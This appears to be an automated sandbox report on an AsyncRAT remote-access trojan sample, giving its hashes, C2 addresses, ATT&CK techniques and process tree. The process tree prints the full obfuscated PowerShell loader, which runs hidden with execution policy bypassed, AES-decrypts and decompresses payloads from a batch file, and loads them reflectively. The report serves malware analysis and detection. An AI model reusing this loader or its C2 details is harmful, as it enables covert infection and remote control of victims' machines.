asyncrat | f119af94e527030335c30655a23723fc9d62b8ea854968245add5237789bd766

General

Target

Infected.exe
Size

640KB
MD5

1584a5810de6bfc7c3dff164710e0138
SHA1

e9923c7954ff83bb2bc82e04ee9857adcdfc23eb
SHA256

f119af94e527030335c30655a23723fc9d62b8ea854968245add5237789bd766
SHA512

07267af21244580cdeb22163c7bb25852f65454e36f6668123d003f60cb31338b4888cb9b849e8959b5509ee659a7128f1e896ea7a8d995d7a79a15a3f4b8d04
SSDEEP

12288:xyveQB/fTHIGaPkKEYzURNAwbAgB2X+t4vBQX/g+mFaaj22:xuDXTIGaPhEYzUzA0/0vBbjT

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:37754

tcp://nasdnasnd-55496.portmap.host:55496:37754

tcp://nasdnasnd-55496.portmap.host:37754

floor-getting.gl.at.ply.gg:37754

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/628-20-0x00000228382B0000-0x00000228382C6000-memory.dmp	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	628	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
628	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Infected.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
628	powershell.exe
628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 3124	2384	Infected.exe	83
PID 2384 wrote to memory of 3124	2384	Infected.exe	83
PID 3124 wrote to memory of 628	3124	cmd.exe	87
PID 3124 wrote to memory of 628	3124	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\Infected.exe
"C:\Users\Admin\AppData\Local\Temp\Infected.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k21Z0aGUmMIa82IH1ZHeakFarTsTBsN9aHQ4zh1WaQY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cFGhOEILDflSnp/72Cr7AQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zliPF=New-Object System.IO.MemoryStream(,$param_var); $vxPUW=New-Object System.IO.MemoryStream; $pUYGl=New-Object System.IO.Compression.GZipStream($zliPF, [IO.Compression.CompressionMode]::Decompress); $pUYGl.CopyTo($vxPUW); $pUYGl.Dispose(); $zliPF.Dispose(); $vxPUW.Dispose(); $vxPUW.ToArray();}function execute_function($param_var,$param2_var){ $pmQKt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KfoWt=$pmQKt.EntryPoint; $KfoWt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat';$Momfr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat').Split([Environment]::NewLine);foreach ($sSjTe in $Momfr) { if ($sSjTe.StartsWith(':: ')) { $JyJLj=$sSjTe.Substring(3); break; }}$payloads_var=[string[]]$JyJLj.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat

Filesize
277KB

MD5
bd6d363ffe7f471468e77ac9caf6c587

SHA1
63f009bd193280e9ea37cd37f286df1770b938dc

SHA256
149c1db4bc6f8593ec403d1a7a832de4ed1959f50a47c89a1317bdfec5f08a8c

SHA512
621d270910826f90776440a73979b77bc8bc50e7946ed73feef9f2c86efa9af8e8f758bf39cd096e4acebaf068c80fd369a793d23c45de635bacd52802496f1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bw3nessb.tbs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/628-5-0x00007FFE63723000-0x00007FFE63725000-memory.dmp

Filesize
8KB

Download
memory/628-6-0x0000022838040000-0x0000022838062000-memory.dmp

Filesize
136KB

Download
memory/628-16-0x00007FFE63720000-0x00007FFE641E1000-memory.dmp

Filesize
10.8MB

Download
memory/628-17-0x00007FFE63720000-0x00007FFE641E1000-memory.dmp

Filesize
10.8MB

Download
memory/628-18-0x0000022838270000-0x0000022838278000-memory.dmp

Filesize
32KB

Download
memory/628-19-0x0000022838280000-0x00000228382B6000-memory.dmp

Filesize
216KB

Download
memory/628-20-0x00000228382B0000-0x00000228382C6000-memory.dmp

Filesize
88KB

Download
memory/628-21-0x00007FFE63723000-0x00007FFE63725000-memory.dmp

Filesize
8KB

Download
memory/628-22-0x00007FFE63720000-0x00007FFE641E1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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